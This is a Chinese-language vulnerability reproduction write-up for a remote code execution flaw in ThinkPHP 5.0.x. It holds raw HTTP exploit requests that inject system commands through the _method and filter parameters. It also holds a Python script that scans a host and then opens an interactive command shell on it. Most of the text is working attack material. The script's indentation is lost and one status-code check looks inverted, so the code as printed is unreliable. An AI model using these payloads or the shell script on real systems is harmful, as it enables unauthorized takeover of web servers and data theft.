1. 漏洞描述

    Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[_method]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特     性实现对任意函数的调用达到任意代码执行的效果。
漏洞危害

    在未经授权的情况下远程攻击者构造特殊的请求可以在PHP上下文环境中执行任意系统命令,甚至完全控制网站,造成数据泄露,网站内容被修改。

2.影响范围

受影响版本:ThinkPHP 5.0.x
不受影响版本:ThinkPHP 5.0.24


3. 复现过程

3.1 拉取5.0.10docker环境

docker pull registry.cn-hangzhou.aliyuncs.com/littlecat/images:thinkphp5_0_10
docker run -it -p 8080:80 2ea1c87d7a7c

EXP:

POST /public/index.php?s=index/index/index HTTP/1.1
Host: 10.211.55.6:12306
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

s=ifconfig&_method=__construct&method=&filter[]=system



3.2 拉取5.0.21 docker环境

docker pull registry.cn-hangzhou.aliyuncs.com/littlecat/images:centos610_thinkphp5-0-21
docker run -it -p 8080:80 779fa73df4d7

EXP

POST /public/index.php?s=captcha HTTP/1.1
Host: 10.211.55.6:8088
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env



4.自动化EXP脚本

"""
author:jeffery.yu
blog: https://www.yu2lulu.xyz
descibe: thinkphp5.x远程命令执行
受影响版本:ThinkPHP 5.0.x
不受影响版本:ThinkPHP 5.0.24
"""
import requests
import re
header = {
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)"
}
def Exp(expolit):
rep = requests.post(url=expolit['url'], headers=header, data=expolit['exp'])
if rep.status_code==200:
return "执行失败!"
else:
content=rep.text.replace("\n","")
s = re.findall('<div class="echo">(.*?)</div>',content)[0].strip()
if len(s) == 0:
return "command not found"
else:
return s

def Poc(host,exp):
exploit={}
for uri,exp in exp.items():
url=host+uri
data={}
for i in exp.split("&"):
k,v=i.split("=")
data[k]=v
try:
rep=requests.post(url=url,headers=header,data=data,timeout=2)
except Exception as e:
print("[-]网络不可达!")
exit()
else:
content = rep.text.replace("\n", "")
s = re.findall(r'<div class="echo">(.*?)</div>',content)[0].strip()
if len(s)==0:
continue
else:
exploit['url']=url
exploit['exp']=data
break
if len(exploit)==0:
print("[-]%s 不存在该漏洞" %host)
else:
print("[+]%s 存在该漏洞" %host)
while True:
command=input("cmdshell#")
if command=="":
continue
if exploit['exp'].get('server[REQUEST_METHOD]'):
exploit['exp']['server[REQUEST_METHOD]']=command
else:
exploit['exp']['s'] = command
print(Exp(exploit))
if __name__=="__main__":
exp1="_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env"
exp2="s=env&_method=__construct&method=&filter[]=system"
exp={
'/public/index.php?s=captcha':exp1,
'/public/index.php?s=index/index/index':exp2
}
Poc("http://10.211.55.61:12306",exp)

运行效果图:



github_exp